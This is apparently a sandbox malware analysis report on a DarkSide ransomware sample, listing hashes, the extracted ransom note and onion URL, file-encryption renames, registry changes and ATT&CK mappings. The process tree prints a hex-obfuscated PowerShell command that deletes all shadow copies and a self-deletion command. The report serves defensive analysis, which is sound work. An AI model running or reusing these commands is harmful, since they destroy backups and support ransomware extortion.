darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
65s
max time network
115s
platform
windows10_x64
resource
win10v20210410
submitted
12-05-2021 19:34

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General

Target

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Size

59KB
MD5

f9fc1a1a95d5723c140c2a8effc93722
SHA1

ce2480dec2ee0a47549fad355c3cf154f9aab836
SHA256

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa
SHA512

3816029ac654cfc546e78c5f331ad61ef21ebab0e92bacdba5a5d2cd9149002930cf46c9a1dab357697540849229d2fc0a490433aa95713d36685334ce8e8b11

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.7b336f65.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y When you open our website, put the following data in the input form: Key: k1xICnEwA8i4Exaf4zIjmEWUAK2JUsPppp7hmFIkcNOrmtfztXYRZSKEorEsHiVAg8gIcnQe7gLRyHyJg5knONhaC09HlFh6pr8Ze6Q8hGhKCm2s2OSBStASleEhgnzUaPkJzRNcaENVKONFOZjCg10YHEjNrfuE8JawoVmpQrws6XsdgiXD2E0D1VwxTCAMsDjMY7tpNOgBqY8NWoFYIWhkEoCDjp52OTKNCZfBSR3uinUDqXkUMApbz6JQ00VdTlJqjBH4QS7o73lU2Vtbr7CkQR9q5nXYLlgMKZUNiH4p0dWISOfEHmJWaWIeK1xkMIqqeao5CMf9enqc3xAG4zfW3iaUEQBwS0cDkv2aQCPFHARd71L9sZAtjcedVolkwYUqnBA9HiZRzoX7CmyX1D99XvN4HCzUmSYm0Nzr3goQSB1obYAKoKomDRTtZpLnTblmRkQoYj4dOJFiiXEdA7OswuJUeavsdO8v2XFzweyVNRNLcFy0v6OtQtRxklvgLBy4zztKaiNz7WUBzS2J5HlC7gwpnLclBloh07Bz0AI0clGIWLZf6kb !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 21 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\ReceiveTest.tif => C:\Users\Admin\Pictures\ReceiveTest.tif.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\CompareSend.tiff => C:\Users\Admin\Pictures\CompareSend.tiff.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\ConfirmUndo.tiff => C:\Users\Admin\Pictures\ConfirmUndo.tiff.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\EnterRegister.tiff => C:\Users\Admin\Pictures\EnterRegister.tiff.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\NewUnregister.tif => C:\Users\Admin\Pictures\NewUnregister.tif.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\CompareCheckpoint.tif => C:\Users\Admin\Pictures\CompareCheckpoint.tif.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\CompareSend.tiff.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\EnterRegister.tiff	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\LimitRead.png => C:\Users\Admin\Pictures\LimitRead.png.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\NewUnregister.tif.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\ReadMeasure.tif => C:\Users\Admin\Pictures\ReadMeasure.tif.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\ReceiveTest.tif.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\CompareCheckpoint.tif.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\CompareSend.tiff	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\EnterRegister.tiff.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\LimitRead.png.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\ReadMeasure.tif.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\SuspendInstall.crw => C:\Users\Admin\Pictures\SuspendInstall.crw.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\SuspendInstall.crw.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\ConfirmUndo.tiff	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\ConfirmUndo.tiff.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

pid process

3992 43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies registry class 5 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

pid	process
2848	powershell.exe
2848	powershell.exe
2848	powershell.exe
3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSecurityPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeTakeOwnershipPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeLoadDriverPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemProfilePrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemtimePrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeProfSingleProcessPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeIncBasePriorityPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeCreatePagefilePrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeBackupPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRestorePrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeShutdownPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemEnvironmentPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRemoteShutdownPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeUndockPrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeManageVolumePrivilege	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 33	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 34	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 35	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 36	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeBackupPrivilege	3952	vssvc.exe
Token: SeRestorePrivilege	3952	vssvc.exe
Token: SeAuditPrivilege	3952	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	pid	process	target process
PID 3992 wrote to memory of 2848	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 3992 wrote to memory of 2848	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 3992 wrote to memory of 4584	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 3992 wrote to memory of 4584	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 3992 wrote to memory of 4584	3992	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
"C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\43E615~1.EXE >> NUL
  2⤵
  PID:4584

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
c95bade6b9d51443aa9d8366909d1599

SHA1
8319a4ed07ec2fd08af47d88878c05c0298ae4f3

SHA256
31d4b92e8fc7e7f33a59d715683f5a77b012ae9925bf753f38afc7ff2e63d08d

SHA512
8283a4c000296cddcc920bc219c25a1bd8f3111b3493385c661a26e2770179fb4bb3437f71972340cbad94d61f4ef54496e552105aaa00409c060c3d2ae37d6c

Download Submit
memory/2848-117-0x0000000000000000-mapping.dmp

Download
memory/2848-123-0x0000020EED8B0000-0x0000020EED8B1000-memory.dmp

Filesize
4KB

Download
memory/2848-128-0x0000020EEFB40000-0x0000020EEFB41000-memory.dmp

Filesize
4KB

Download
memory/2848-129-0x0000020EED8E0000-0x0000020EED8E2000-memory.dmp

Filesize
8KB

Download
memory/2848-130-0x0000020EED8E3000-0x0000020EED8E5000-memory.dmp

Filesize
8KB

Download
memory/2848-139-0x0000020EED8E6000-0x0000020EED8E8000-memory.dmp

Filesize
8KB

Download
memory/4584-147-0x0000000000000000-mapping.dmp

Download